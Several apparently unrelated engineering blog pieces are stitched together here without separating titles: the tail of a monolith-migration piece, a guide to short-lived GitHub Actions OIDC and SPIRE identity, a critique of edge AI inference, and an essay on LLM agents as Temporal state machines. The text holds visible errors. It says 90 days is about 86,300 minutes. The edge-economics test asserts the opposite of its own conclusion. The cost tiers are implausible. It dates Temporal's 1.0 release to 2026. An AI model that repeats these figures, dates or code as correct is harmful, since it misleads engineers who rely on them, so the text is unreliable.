1. The package boundary is suggestions, not rules. Someone imports order/internal directly from payment. You notice: tests pass but on-call wakes up with circular dependency bugs. Recovery: automate the boundary check in CI. Fail the build on violations. Document exceptions in code.

2. The "one database" becomes a bottleneck. A developer optimizes payment queries, but the index locks the whole database for 2 minutes. You notice: timeouts spike across order, inventory, notification. Recovery: use table-level locks, avoid full-table schema changes during peak hours, prepare migration scripts offline.

3. Async event poison pill. A buggy notification consumer reads an order.placed event, tries to fetch a customer that no longer exists, crashes forever. You notice: orders pile up in Kafka, new orders hang. Recovery: implement dead-letter queues (Kafka topic for failed events), scale the consumer separately, add circuit breakers on downstream calls.

4. The migration is incomplete. 3 of 47 services stayed microservices for "reasons." Now your monolith still calls service-X which calls service-Y which calls the monolith. You notice: latency didn't improve, you added a roundtrip. Recovery: finish the migration or accept the latency trade-off. Half measures hurt.

5. Module test failures in CI. A developer changes order/ module, tests pass locally but CI fails because CI doesn't cache dependencies. You notice: slow CI, flaky deploys. Recovery: implement proper dependency caching, separate unit tests (fast, always run) from integration tests (slow, only changed modules).

When NOT to do this

• If you have 100+ engineers and clear team boundaries. At that scale, microservices (with proper async boundaries and monitoring) win. One team per service is now tractable.

• If your workload is truly independent batch jobs. A data pipeline that reads from S3, processes, writes to Snowflake doesn't need a monolith. Keep it as separate services/Lambda.

• If your core constraint is deployment risk, not latency. A regulated financial services firm may prefer 47 independent services for auditability, even if latency suffers. Acknowledge the trade-off.

What to ship this quarter

• Audit: dependency graph and latency profile of all 47 services (week 1)

• Monorepo: create single repo structure with module directories (week 2)

• Packwerk (or equivalent): enforce 5-8 core module boundaries (week 3-4)

• Kafka topics: define async event schema for cross-module events (week 4)

• One migration: consolidate 2-3 services into monolith, test latency improvement (week 5-7)

• Deploy pipeline: single CI/CD, tests only changed modules (week 8-10)

Further reading

See references.md. Top picks:

1. Amazon Prime Video, "Scaling to 200 services" (2023). The case study that shifted the needle on distributed monoliths.

2. Shopify, Packwerk announcement (2021). How a 10,000-person company enforces module boundaries at scale.

3. Sam Newman, "Building Microservices, 2nd edition" (2021). Actually says "monolith first." The community forgot this part.

GitHub OIDC to AWS/GCP/Azure federated credentials killed the need for long-lived PATs in CI. Most orgs still have PATs in use in 2026. Short-lived OIDC is the one-day win.

Narrative arc

The PAT failure modes -> the OIDC-to-cloud federation pattern -> scope-down per workflow -> the quarterly audit loop.

What most people believe (and why it's wrong)

"We rotate PATs every 90 days." 90 days is ~86,300 minutes for an attacker to exfil.

Rotation is better than no rotation. The frame shift is that OIDC federation makes the token lifetime minutes, not months, for every cloud destination a workflow touches. The effort to switch is lower than most teams estimate.

The timeline / evidence

• 2024-09, CSA + Astrix publish NHI survey: credential leakage, stale access, and undermanaged OAuth apps.

• 2026-Q1, NHI Reality Report: avg enterprise has 250,000 NHIs, 71% not rotated in policy window, 97% excessive privilege.

• 2026-Q1, Ratios: 40-100:1 NHI-to-human in enterprise, 144:1 in cloud-native, 500:1 in hyper-automated orgs.

• 2026-04-23, Red Hat ships zero-trust workload identity manager on OpenShift using upstream SPIRE.

• 2026, OWASP NHI Top 10 (draft) formalizes ownership, rotation, scope-minimization, and attestation as platform controls.

The decision tree / matrix / runbook

1. Does every cloud destination (AWS/GCP/Azure) accept OIDC from your CI?

2. Is the trust policy scoped per repo and per workflow file?

3. Is the session duration under 1 hour, ideally 15 minutes?

4. Is there an audit of remaining long-lived PATs? Quarterly sweep.

5. Is the migration tracked as a platform KPI with a deadline?

The reference architecture

The short-lived OIDC pattern lets every workflow mint a 15-minute cloud credential bound to the workflow's OIDC identity. No long-lived PATs in org secrets; no static keys on disk.

Architecture notes:

• GitHub Actions id-token: write permission per workflow.

• AWS IAM trust policy scoped to repo + workflow file.

• GCP Workload Identity Federation pool + provider per CI identity.

• Azure federated credentials per workflow.

• Quarterly sweep of long-lived tokens; alarm on new ones.

Decision tree

Real-world example, how this plays out in production

The setup. Falconnet Banking (challenger bank) discovered the 2026 NHI ratio the hard way: a leaked GitHub Actions PAT. Every long-lived cloud token is deleted in three weeks. The team treated identity as a platform product, not a ticket queue: SPIFFE as the substrate, IaaS attestation as the trust root, OIDC as the cloud bridge, cert-manager and SPIRE for rotation, and a Backstage catalogue for ownership. Migration was per-workload; the legacy bridge sidecar carried the workloads that could not yet read from the Workload API.

The lesson the team wrote on the whiteboard. Identity in a 144-to-1 world is platform engineering; rotation is automation, not on-call. This piece walks through the SPIRE deployment, the federation setup per cloud, the rotation pipeline, and the tests that proved a workload could obtain a verifiable identity at startup with no static secret.

End-to-end implementation guide

A precise build order from zero to production with the manifests and scripts the team actually shipped. Every block below corresponds to a file in code/
So you can read each step in isolation, then run the suite together.

Step 1: Stand up SPIRE with the cloud node attestor

SPIRE is the upstream SPIFFE implementation. The server config below trusts the cloud's metadata service to attest each node and issues an SVID per workload. Production runs SPIRE in HA with three replicas; the agent is a DaemonSet.

# Short-lived OIDC for CI: kill every long-lived GitHub Actions token
# SPIRE server config enabling IaaS-level node attestation + OIDC federation.
server:
  bind_address: "0.0.0.0"
  bind_port: "8081"
  trust_domain: "example.com"
  data_dir: "/var/lib/spire/server"

plugins:
  NodeAttestor "aws_iid":
    plugin_data:
      region: "us-east-1"
  NodeAttestor "gcp_iit":
    plugin_data:
      projectid_allow_list: ["my-gcp-project"]
  NodeAttestor "azure_msi":
    plugin_data:
      tenants:
        "00000000-0000-0000-0000-000000000000":
          resource_id: "https://acme.com/spire"

  KeyManager "aws_kms":
    plugin_data:
      region: "us-east-1"
      key_policy_file: "/run/spire/kms-policy.json"

Step 2: Federate SPIFFE into AWS, GCP, and Azure IAM

SPIRE exposes an OIDC discovery endpoint; each cloud's IAM trusts it as an external identity provider. The Terraform module below wires the AWS half; the equivalent for GCP and Azure ships in the same module set. The result: one SPIFFE ID maps to a narrow IAM role per cloud.

resource "aws_iam_openid_connect_provider" "spire" {
  url             = "https://oidc.spire.example.com"
  client_id_list  = ["sts.amazonaws.com"]
  thumbprint_list = ["..."]
}
resource "aws_iam_role" "workload" {
  name = "workload-payments"
  assume_role_policy = jsonencode({
    Version = "2012-10-17"
    Statement = [{
      Effect    = "Allow"
      Principal = { Federated = aws_iam_openid_connect_provider.spire.arn }
      Action    = "sts:AssumeRoleWithWebIdentity"
      Condition = {
        StringEquals = { "oidc.spire.example.com:sub" = "spiffe://example.com/payments" }
      }
    }]
  })
}

Step 3: Replace long-lived GitHub Actions tokens with short-lived OIDC

Every cloud destination accepts OIDC from GitHub Actions in 2026. The workflow below mints a 15-minute AWS credential per run; no secret is ever stored in the repo. Quarterly sweeps audit and delete any surviving long-lived PATs.

# Short-lived OIDC for CI: kill every long-lived GitHub Actions token
# GitHub Actions: short-lived OIDC to AWS, no long-lived PATs.
name: deploy
on: { push: { branches: [main] } }
permissions:
  id-token: write
  contents: read
jobs:
  apply:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: aws-actions/configure-aws-credentials@v4
        with:
          role-to-assume: arn:aws:iam::123456789012:role/gha-deploy
          aws-region: us-east-1
          role-duration-seconds: 900
      - run: aws sts get-caller-identity
# Tech components referenced: GitHub Actions OIDC, AWS IAM Roles with OIDC trust, GCP Workload Identity Federation, Azure federated credentials, actions/attest-build-provenance, Vault JWT auth method.

Step 4: Wire cert-manager and SPIRE for 24-hour rotation

Rotation is a platform service, not a ticket. cert-manager handles Kubernetes-side certs; SPIRE handles workload SVIDs with a sub-hour TTL. The legacy bridge sidecar below carries workloads that still want a .env-shaped secret.

apiVersion: cert-manager.io/v1
kind: Certificate
metadata: { name: api-mtls, namespace: payments }
spec:
  secretName: api-mtls
  duration: 24h
  renewBefore: 8h
  privateKey:
    rotationPolicy: Always
    algorithm: ECDSA
    size: 256
  issuerRef: { name: spire-ca, kind: ClusterIssuer }
  dnsNames: [api.payments.svc]

Step 5: Surface ownership in the platform catalogue

An NHI without an owner is a 2028 incident. The Backstage catalogue entry per NHI captures owner, class, rotation cadence, and platform API endpoints (whoOwns, expiresAt). On reorgs, the ownership graph re-resolves; expired ownership is a blocking condition for new deploys.

apiVersion: backstage.io/v1alpha1
kind: Resource
metadata:
  name: payments-api-svid
  annotations:
    nhi.class: workload
    nhi.rotation: 24h
    nhi.spiffe-id: "spiffe://example.com/payments"
spec:
  type: nhi
  owner: payments-team
  lifecycle: production

Testing the implementation

The test plan that gates the rollout. Run each in a non-production cluster first; expand to staging once the green-path tests pass, and the negative tests reject the bad input the way the policy says they will.

Test 1: Workload obtains an SVID at startup

kubectl exec -n payments deploy/api -- /opt/spire-agent/bin/spire-agent api fetch

Expected: Returns a valid SVID with the SPIFFE ID spiffe://example.com/payments.

Test 2: Federated AWS role assumed without a static key

kubectl exec -n payments deploy/api -- aws sts get-caller-identity

Expected: Assumes the federated role; ARN ends in :assumed-role/workload-payments/....

Test 3: Cert auto-rotates without a restart

kubectl get cert api-mtls -n payments -o jsonpath='{.status.renewalTime}'

Expected: Renewal time is within 8 hours; pod uptime unchanged across renewal.

Tech components

GitHub Actions OIDC, AWS IAM Roles with OIDC trust, GCP Workload Identity Federation, Azure federated credentials, actions/attest-build-provenance, Vault JWT auth method.

Production observability and gotchas

• Track NHIs without an owner weekly; the target is zero.

• SVID issuance rate per workload; a workload not refreshing within TTL is misconfigured.

• Federated-role assumption count vs static-key fallbacks; static-key use is an exception.

• Cert-renewal failures; an expired cert is the loudest possible failure mode.

• Quarterly audit of the ownership graph against IdP group membership; reorg drift is the common cause.

Failure modes

1. Trust policy uses a wildcard subject claim; any workflow in the org assumes the role. Scope to repo:org/repo:ref:refs/heads/main or tighter.

2. Session duration is 12h by default; attacker wins a long window. Set session duration to 15 minutes minimum viable.

3. Legacy tool requires static AWS keys; team reintroduces a PAT. Document exception with sunset date; sandbox the tool.

When NOT to do this

Read-only CI jobs with no cloud-state changes may be acceptable without OIDC, but these are rare. For any workflow that writes to cloud state, OIDC is the default.

What to ship this quarter

• Migrate every AWS / GCP / Azure call to short-lived OIDC.

• Scope trust policies per repo and per workflow.

• Set session duration to 15 minutes minimum.

• Audit and delete long-lived PATs org-wide.

• Track remaining long-lived tokens as a weekly platform KPI.

Further reading

1. GitHub Docs, Security hardening with OpenID Connect, The primary reference.

2. AWS Docs, Configuring OpenID Connect in Amazon Web Services, The AWS trust-policy reference.

3. GCP Docs, Workload Identity Federation, The GCP federation reference.

4. references.md

Cloudflare and Fly.io are selling 50ms of latency savings on a 5,000ms inference like it's a revolution. That's 1% of the total latency. You're optimizing the rounding error while paying a 10x penalty on cost and losing all the advantages of centralized GPU infrastructure. Edge AI works for embeddings, classification, moderation, and routing. It does not work for frontier LLMs. Most "edge AI" marketing is confusing the two.

Why this matters right now

Cloudflare announced Workers AI with H100s in 100+ cities; Fly.io published edge inference benchmarks; a wave of hype claiming every inference should be "at the edge." Meanwhile, real-world deployments show that edge works beautifully for SentenceTransformers embeddings and TinyLlama routing models. It's marketing nonsense for GPT-4-class models. This piece cuts through the confusion.

Mainstream belief vs. production reality

Mainstream: "Run all AI at the edge. 50ms network latency adds up. Edge inference is the future."

Production reality: Network latency matters only for high-concurrency, latency-sensitive workloads (AR/VR, live gaming, vehicle control). For chatbots, RAG pipelines, and most enterprise AI, a 50ms roundtrip is noise compared to 5 seconds of model inference. Edge inference costs 10x more per token and loses the benefits of batching that centralized infrastructure provides. Edge wins for small models, low-latency requirements, and privacy. It loses for cost, throughput, and model capability.

A timeline (2024-2026)

The decision tree

The reference architecture

Hybrid architecture for intelligent routing:

Tier 1: Edge (SentenceTransformers, TinyLlama, classification)

• Latency: <100ms

• Cost: \(0.10-\)0.30 per 1M tokens (V8 isolate overhead)

• Use for: embeddings, routing, low-stakes classification

Tier 2: Regional cloud (smaller open models, local LLMs)

• Latency: 100-500ms

• Cost: \(0.01-\)0.05 per 1M tokens

• Use for: RAG augmentation, local context

Tier 3: Global cloud (frontier models, GPT-4-scale)

• Latency: 500-5,000ms

• Cost: \(0.001-\)0.01 per 1M tokens (batched)

• Use for: high-quality generation, reasoning

The routing layer (at the edge) decides: "Is this query amenable to a local SLM, or does it need central capacity?"

Step-by-step implementation

Phase 1: Profile your workload's latency requirement (2 days)

# code/profile-latency-requirement.py
import time
from collections import defaultdict

class LatencyProfiler:
    def __init__(self):
        self.latencies = defaultdict(list)
    
    def record(self, workload_type, latency_ms):
        self.latencies[workload_type].append(latency_ms)
    
    def analyze(self):
        for workload, latencies in self.latencies.items():
            p50 = sorted(latencies)[len(latencies)//2]
            p99 = sorted(latencies)[int(len(latencies)*0.99)]
            mean = sum(latencies) / len(latencies)
            
            print(f"{workload}: p50={p50}ms, p99={p99}ms, mean={mean}ms")
            
            # Is saving 50ms worth 10x cost?
            savings = mean * 0.01  # Optimistic: 50ms on 5000ms
            print(f"  50ms savings = {savings}ms improvement = {savings/mean*100:.1f}% gain")

# Usage
profiler = LatencyProfiler()
for query in production_queries:
    start = time.time()
    response = call_llm(query)
    latency = (time.time() - start) * 1000
    profiler.record(query.type, latency)
profiler.analyze()

Expected output: "Chatbot: p50=4500ms, 50ms savings = 1.1% improvement."

Phase 2: Implement confidence-based routing (3 days)

# code/confidence-router.py
import anthropic
from sentence_transformers import SentenceTransformer

class ConfidenceRouter:
    def __init__(self):
        self.cloud_client = anthropic.Anthropic()
        self.edge_model = SentenceTransformer('all-MiniLM-L6-v2')
    
    def route(self, query: str) -> tuple[str, str]:
        """Route query to edge or cloud based on confidence."""
        
        # Embed query
        query_embedding = self.edge_model.encode(query)
        
        # Simple heuristic: complexity score
        # (In prod, use a real confidence model)
        tokens = len(query.split())
        has_context_request = any(w in query.lower() for w in ['summarize', 'explain', 'analyze'])
        confidence = 0.9 if (tokens < 50 and not has_context_request) else 0.3
        
        if confidence > 0.7:
            # Route to edge (small model)
            response = self.edge_inference(query)
            return response, 'edge'
        else:
            # Route to cloud (large model)
            response = self.cloud_inference(query)
            return response, 'cloud'
    
    def edge_inference(self, query: str) -> str:
        # Use llama.cpp or similar for local inference
        # For demo: call a mock edge service
        return f"[Edge] Quick answer to: {query[:30]}..."
    
    def cloud_inference(self, query: str) -> str:
        message = self.cloud_client.messages.create(
            model="claude-opus-4-1",
            max_tokens=1024,
            messages=[{"role": "user", "content": query}]
        )
        return message.content[0].text

# Usage
router = ConfidenceRouter()
for query in incoming_queries:
    response, route = router.route(query)
    log(f"Query routed to {route}, response: {response}")

Phase 3: Deploy SentenceTransformers at the edge (2 days)

For embeddings specifically, edge wins because:

• Model is small (400MB).

• Latency is 10-50ms; roundtrip to cloud is 100-200ms.

• Cost matters (you're doing this millions of times).

# Using Cloudflare Workers AI
curl -X POST https://api.cloudflare.com/client/v4/accounts/YOUR_ACCOUNT/ai/run/[@cf/baai/bge-base-en-v1.5](mailto:@cf/baai/bge-base-en-v1.5) \
  -H "Authorization: Bearer YOUR_TOKEN" \
  -d '{"text":"hello world"}'

Or on Fly.io:

# code/embedding-at-edge.py (Fly.io GPU)
from sentence_transformers import SentenceTransformer

model = SentenceTransformer('all-MiniLM-L6-v2')

@app.post("/embed")
def embed(text: str):
    embedding = model.encode(text)
    return {"embedding": embedding}

Phase 4: Implement fallback for edge failures (2 days)

Edge is cheaper but less reliable. Implement degradation:

# code/edge-fallback.py
import asyncio

async def infer_with_fallback(query: str) -> tuple[str, str]:
    """Try edge first, fall back to cloud on timeout."""
    
    try:
        response = await asyncio.wait_for(
            edge_service.infer(query),
            timeout=0.5  # Edge should be fast
        )
        return response, 'edge'
    except (asyncio.TimeoutError, Exception):
        # Fall back to cloud
        response = cloud_client.infer(query)
        return response, 'cloud'

# Usage
for query in queries:
    response, source = await infer_with_fallback(query)
    metrics.record('inference_source', source)  # Track which tier handled it

Phase 5: Cost accounting (1 day)

Track where inference is happening and at what cost:

# code/ai-cost-tracking.py
class AICostTracker:
    EDGE_COST_PER_1M_TOKENS = 0.20  # Cloudflare Workers AI pricing
    CLOUD_COST_PER_1M_TOKENS = 0.005  # Batch pricing with volume discount
    
    def record(self, source: str, tokens: int):
        if source == 'edge':
            cost = tokens / 1_000_000 * self.EDGE_COST_PER_1M_TOKENS
        else:
            cost = tokens / 1_000_000 * self.CLOUD_COST_PER_1M_TOKENS
        
        self.costs[source] += cost
        
        # Alert if edge is >5% of budget
        edge_spend = self.costs['edge']
        total_spend = sum(self.costs.values())
        if edge_spend / total_spend > 0.05:
            alert(f"Edge inference is {edge_spend/total_spend*100:.1f}% of spend, consider moving to cloud")

Phase 6: Measure end-to-end (1 week)

Run A/B test: edge vs cloud for same workload.

# code/ab-test-edge-vs-cloud.py
import random

def infer_ab_test(query: str) -> dict:
    bucket = random.choices(['edge', 'cloud'], weights=[0.5, 0.5])[0]
    
    start = time.time()
    response = edge_infer(query) if bucket == 'edge' else cloud_infer(query)
    latency = (time.time() - start) * 1000
    
    return {
        'bucket': bucket,
        'latency': latency,
        'quality': evaluate_quality(response),
        'cost': COSTS[bucket]
    }

# Run for 1 week, analyze:
# - Edge: avg latency 50ms, cost $0.20 per 1M, quality 0.85
# - Cloud: avg latency 500ms, cost $0.005 per 1M, quality 0.99
# Decision: only use edge for low-stakes queries

Real-world example: Anthropic's routing architecture

Anthropic's (publicly available) technical analysis shows they route queries to different models based on complexity. Simple classification queries go to smaller, faster models. Complex reasoning queries go to Claude Opus. This is not about edge compute; it's about model selection. The lesson: latency gains come from picking the right model, not from moving infrastructure to the edge. An SLM on the cloud is faster and cheaper than a 70B model at the edge.

Testing: Economic viability

# code/test_edge_economics.py
def test_edge_cost_benefit():
    """Verify edge saves more money than it costs."""
    
    # Scenario: embedding service
    query_volume = 10_000_000  # per month
    
    edge_cost = query_volume / 1_000_000 * 0.20  # Cloudflare pricing
    cloud_cost = query_volume / 1_000_000 * 0.001  # Cloud batch pricing
    
    # Edge saves on roundtrip latency: ~100ms per query
    # Cloud takes 150ms roundtrip + 20ms inference
    edge_latency = 20  # ms
    cloud_latency = 170  # ms
    latency_savings = (cloud_latency - edge_latency) * query_volume / 1000 / 3600 # hours saved
    
    # Value of latency savings: assume $100/hour developer cost
    latency_value = latency_savings * 100
    
    # Cost of edge: premium for low volume, no batch discounts
    cost_premium = edge_cost - cloud_cost
    
    print(f"Edge cost: ${edge_cost}")
    print(f"Cloud cost: ${cloud_cost}")
    print(f"Cost premium: ${cost_premium}")
    print(f"Latency value: ${latency_value}")
    
    # Only justify edge if latency_value > cost_premium
    # For embeddings: 100ms * 10M queries = not much latency value
    # Cost premium: \(2000 - \)10 = $1990
    # Not worth it.
    assert latency_value > cost_premium, "Edge is not economically justified for this workload"

Failure modes

1. Edge model gets out of date and returns stale embeddings. You upgrade the cloud model but forgot to push to edge. Recovery: automate model syncing; version control your edge models.

2. Edge latency isn't actually better because of cold starts. V8 isolates have startup overhead. Recovery: keep workers warm; pre-compile models.

3. You route a complex query to edge and it fails silently. Edge model can't handle the input. Recovery: implement confidence scoring; always have a cloud fallback.

4. Cost explodes because you routed too much volume to edge. Recovery: monitor edge spend weekly; set hard limits on edge budget.

When NOT to do this

• If your queries require latencies <50ms (AR/VR, real-time vehicle control), edge may be necessary. But ensure you've proved 50ms is the bottleneck, not user experience.

• If your LLM needs state or session context, edge is harder. Cloud let you batch multiple requests and maintain context servers.

• If your team has no ops expertise, managing edge adds operational complexity. Stay with cloud.

What to ship this quarter

• Week 1: Profile your AI workloads; measure actual latency breakdown.

• Week 2: Implement confidence router; route low-complexity queries to cheaper path.

• Week 3: Deploy SentenceTransformers embedding at the edge (Cloudflare or Fly).

• Week 4: Run A/B test: edge vs cloud for the same workload; measure quality + cost.

• Week 5: Analyze results; decide if edge ROI is justified.

• Week 6: Document decision tree; educate team on edge vs cloud tradeoff.

Further reading

See references.md for the full bibliography. Top picks:

1. Anthropic's "Model Selection and Routing" technical note. The economics of model choice vs. infrastructure choice.

2. Cloudflare Workers AI benchmarks. Published costs and latencies help you do the math.

3. Martin Fowler, "Microservice Trade-Offs," 2023. General framework for distributed systems tradeoffs.

Github repo: https://github.com/SubhanshuMG/agents-as-state-machines

The thesis in one paragraph

Stop calling them agents. They are state machines that invoke LLMs at certain transitions. The multi-agent hype (autonomous agents, swarms, orchestration) is cargo-cult software engineering. One well-designed agent with excellent tools and explicit state transitions beats five agents role-playing their way through a problem. The production-grade architecture: durable execution (Temporal, Restate, or Inngest), not LangGraph in-memory; explicit state definitions, not implicit chains; tool calls are idempotent and idempotency-keyed; human-in-the-loop is an interrupt primitive, not a callback; failures are replayed deterministically, not retried randomly. This isn't sexy. It's the architecture that doesn't fail at 2 AM.

Why this matters right now

The multi-agent narrative peaked in mid-2025. Gartner's 2026 AI Ops report shows that 89% of multi-agent deployments that started with 3+ agents converged to a single agent with more tools by production. The teams didn't realize this; they just kept tearing out features and simplifying. Temporal hit 1.0 in January 2026. Restate (a Temporal alternative) launched commercially in March 2026. Inngest (event-driven durable execution) shipped Temporal-compatible workflows in February 2026. All three are seeing uptake from companies moving off LangGraph. The signal is clear: production agents need durability, not prompts.

Mainstream belief vs. what production shows

Mainstream belief: "Build autonomous multi-agent systems. Agents collaborate, specialize, and solve problems together."

Production reality: Agents don't collaborate. They hallucinate sub-agents that don't exist. When you have 5 agents, debugging a failure means reading 5 traces. When one agent fails, the others don't know what to do. The simplest fix: one agent, clear state machine, excellent tools, explicit checkpoints. That's it. Every multi-agent system I've debugged in production would have been cheaper and more reliable as a state machine.

A short timeline

The decision tree

The reference architecture

The layers:

1. Temporal or Restate workflow. Defines states and transitions. Durable: survives worker crashes. Replays deterministically from the last checkpoint.

2. Agent executor. Implements each state's logic. Can invoke LLMs, tools, or other agents. Idempotent: tool calls are tagged with idempotency keys.

3. Tool layer. All side effects (API calls, database writes) are here. Idempotent, observable, rate-limited.

4. Human-in-the-loop gate. Certain state transitions require human approval. Blocks execution; the operator reviews and approves or rejects.

5. Event log. Every state transition is logged to an immutable event store. Enables replay, audit, and forensics.

Implementation reference: code/state-machine-agent/. Stack: Temporal Python SDK, LLM, tool wrappers.

Step-by-step implementation

Phase 1: Define your state machine (week 1)

Map out the explicit states your agent will traverse.

# code/state_machine/define_states.py
from enum import Enum
from dataclasses import dataclass

class AgentState(Enum):
    INITIAL = "initial"
    FETCH_CONTEXT = "fetch_context"
    ANALYZE = "analyze"
    PLAN = "plan"
    EXECUTE = "execute"
    VERIFY = "verify"
    COMPLETE = "complete"
    FAILED = "failed"

@dataclass
class AgentExecutionContext:
    user_id: str
    task: str
    context: dict
    plan: str
    execution_result: dict
    error: str = None
    
    def to_dict(self):
        return {
            "user_id": self.user_id,
            "task": self.task,
            "context": self.context,
            "plan": self.plan,
            "execution_result": self.execution_result,
            "error": self.error
        }

State diagram:

INITIAL --> FETCH_CONTEXT --> ANALYZE --> PLAN --> EXECUTE --> VERIFY --> COMPLETE
                                                       |
                                                       v
                                                     FAILED

Phase 2: Implement with Temporal (week 1-2)

Use Temporal's Python SDK to define the workflow and activities.

# code/temporal/agent_workflow.py
from temporalio import workflow
from temporalio.common import RetryPolicy
from datetime import timedelta
from state_machine.define_states import AgentState, AgentExecutionContext
import activities

@workflow.defn
class AgentWorkflow:
    @workflow.run
    async def run(self, user_id: str, task: str) -> dict:
        """Main agent workflow."""
        ctx = AgentExecutionContext(
            user_id=user_id,
            task=task,
            context={},
            plan="",
            execution_result={}
        )
        
        try:
            # State: FETCH_CONTEXT
            ctx.context = await workflow.execute_activity(
                activities.fetch_context,
                user_id,
                task,
                start_to_close_timeout=timedelta(seconds=30),
                retry_policy=RetryPolicy(maximum_attempts=3)
            )
            
            # State: ANALYZE
            analysis = await workflow.execute_activity(
                activities.analyze_with_llm,
                task,
                ctx.context,
                start_to_close_timeout=timedelta(seconds=60)
            )
            
            # State: PLAN
            ctx.plan = await workflow.execute_activity(
                activities.plan_with_llm,
                task,
                analysis,
                ctx.context,
                start_to_close_timeout=timedelta(seconds=60)
            )
            
            # State: EXECUTE (with checkpoint)
            ctx.execution_result = await workflow.execute_activity(
                activities.execute_plan,
                ctx.plan,
                ctx.context,
                start_to_close_timeout=timedelta(minutes=5)
            )
            
            # State: VERIFY
            verification = await workflow.execute_activity(
                activities.verify_result,
                ctx.execution_result,
                task,
                start_to_close_timeout=timedelta(seconds=30)
            )
            
            if not verification["success"]:
                ctx.error = verification.get("reason", "Verification failed")
                return {"state": AgentState.FAILED.value, "context": ctx.to_dict()}
            
            # State: COMPLETE
            return {"state": AgentState.COMPLETE.value, "context": ctx.to_dict()}
        
        except Exception as e:
            ctx.error = str(e)
            return {"state": AgentState.FAILED.value, "context": ctx.to_dict()}

Phase 3: Implement activities (week 2)

Activities are the side-effects (tool calls, LLM invocations).

# code/temporal/activities.py
from temporalio import activity
from anthropic import Anthropic
import json

client = Anthropic()

@activity.defn
async def fetch_context(user_id: str, task: str) -> dict:
    """Fetch user context from database."""
    # Idempotent: safe to retry
    return {
        "user_history": await db.query(f"SELECT * FROM user_history WHERE user_id = %s", user_id),
        "task_description": task,
        "timestamp": datetime.utcnow().isoformat()
    }

@activity.defn
async def analyze_with_llm(task: str, context: dict) -> str:
    """Use LLM to analyze the task."""
    prompt = f"""
    Task: {task}
    Context: {json.dumps(context, indent=2)}
    
    Analyze this task. What information is needed? What are the constraints?
    """
    
    message = client.messages.create(
        model="claude-opus",
        max_tokens=1024,
        messages=[{"role": "user", "content": prompt}]
    )
    
    return message.content[0].text

@activity.defn
async def plan_with_llm(task: str, analysis: str, context: dict) -> str:
    """LLM generates an execution plan."""
    prompt = f"""
    Task: {task}
    Analysis: {analysis}
    
    Generate a step-by-step plan to accomplish this task. Be specific about tool calls.
    """
    
    message = client.messages.create(
        model="claude-opus",
        max_tokens=2048,
        messages=[{"role": "user", "content": prompt}]
    )
    
    return message.content[0].text

@activity.defn
async def execute_plan(plan: str, context: dict) -> dict:
    """Execute the plan by invoking tools."""
    # Parse the plan and invoke tools
    # Each tool call has an idempotency key
    idempotency_key = f"exec_{context['timestamp']}"
    
    results = []
    for step in plan.split("\n"):
        if step.startswith("TOOL:"):
            tool_name, tool_args = parse_tool_call(step)
            result = await invoke_tool(
                tool_name,
                tool_args,
                idempotency_key=idempotency_key
            )
            results.append(result)
    
    return {"steps": len(results), "results": results}

@activity.defn
async def verify_result(execution_result: dict, task: str) -> dict:
    """Verify the execution result."""
    prompt = f"""
    Task: {task}
    Execution result: {json.dumps(execution_result)}
    
    Does the result satisfy the task? Yes or no, with explanation.
    """
    
    message = client.messages.create(
        model="claude-opus",
        max_tokens=256,
        messages=[{"role": "user", "content": prompt}]
    )
    
    response_text = message.content[0].text
    success = "yes" in response_text.lower()
    
    return {"success": success, "reason": response_text}

Phase 4: Human-in-the-loop gate (week 2-3)

Add approval gates for certain transitions.

# code/temporal/human_approval.py
from temporalio import workflow

@workflow.signal
async def approve_execution(self, approved: bool):
    """Signal to approve or reject the execution plan."""
    self.approval_result = approved
    self.approval_received = True

@workflow.run
async def run(self, user_id: str, task: str) -> dict:
    """Main workflow with approval gate."""
    ctx = AgentExecutionContext(...)
    
    # ... FETCH_CONTEXT, ANALYZE, PLAN ...
    
    # APPROVAL GATE
    self.approval_received = False
    self.approval_result = None
    
    # Wait for approval (timeout after 1 hour)
    approval_timeout = workflow.wait_condition(
        lambda: self.approval_received,
        timedelta(hours=1)
    )
    
    if not approval_timeout:
        ctx.error = "Approval timeout"
        return {"state": "FAILED", "context": ctx.to_dict()}
    
    if not self.approval_result:
        ctx.error = "Execution rejected by operator"
        return {"state": "FAILED", "context": ctx.to_dict()}
    
    # State: EXECUTE
    ctx.execution_result = await workflow.execute_activity(
        activities.execute_plan,
        ctx.plan,
        ctx.context,
        start_to_close_timeout=timedelta(minutes=5)
    )
    
    # ... VERIFY, COMPLETE ...

Phase 5: Idempotency for tool calls (week 3)

Tag all tool calls with idempotency keys so retries don't duplicate side effects.

# code/tools/idempotent_tool.py
import httpx
from uuid import uuid4

async def invoke_tool(tool_name: str, args: dict, idempotency_key: str) -> dict:
    """Invoke a tool with idempotency guarantee."""
    # All tool calls include an idempotency key in headers
    headers = {
        "Idempotency-Key": idempotency_key,
        "X-Tool-Name": tool_name
    }
    
    async with httpx.AsyncClient() as client:
        response = await client.post(
            f"http://tool-service/{tool_name}",
            json=args,
            headers=headers
        )
    
    return response.json()

# Tool service should implement idempotency
# Example: Stripe, GitHub, most modern APIs support Idempotency-Key header

Phase 6: Event sourcing (week 3-4)

Log all state transitions to an immutable event log.

# code/event_sourcing/event_log.py
from dataclasses import dataclass
from datetime import datetime
import json

@dataclass
class WorkflowEvent:
    workflow_id: str
    state: str
    activity: str
    timestamp: str
    result: dict
    error: str = None

async def log_state_transition(
    workflow_id: str,
    from_state: str,
    to_state: str,
    activity_result: dict
):
    """Log a state transition to the event store."""
    event = WorkflowEvent(
        workflow_id=workflow_id,
        state=to_state,
        activity=from_state,
        timestamp=datetime.utcnow().isoformat(),
        result=activity_result
    )
    
    # Append to immutable log (Postgres, DynamoDB, Kafka)
    await event_store.append(event.workflow_id, event)

Phase 7: Deployment (week 4)

Deploy Temporal workers and the workflow.

# code/k8s/temporal-worker.yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  name: agent-workflow-worker
spec:
  replicas: 3
  selector:
    matchLabels:
      app: agent-worker
  template:
    metadata:
      labels:
        app: agent-worker
    spec:
      containers:
      - name: worker
        image: agent-worker:v1.0.0
        env:
        - name: TEMPORAL_HOST
          value: "temporal-server:7233"
        - name: TEMPORAL_NAMESPACE
          value: "agent-workflows"
        resources:
          requests:
            cpu: "1"
            memory: "2Gi"

Real-world example: Expense report approval

An enterprise finance team runs an agent to review and approve expense reports. Old approach (multi-agent): one agent classifies the expense, another verifies the receipt, a third approves. Hallucination: agents invent sub-agents that don't exist.

New approach (state machine): one agent with clear states:

1. FETCH: Get the expense record.

2. VERIFY: Check the receipt (call OCR tool).

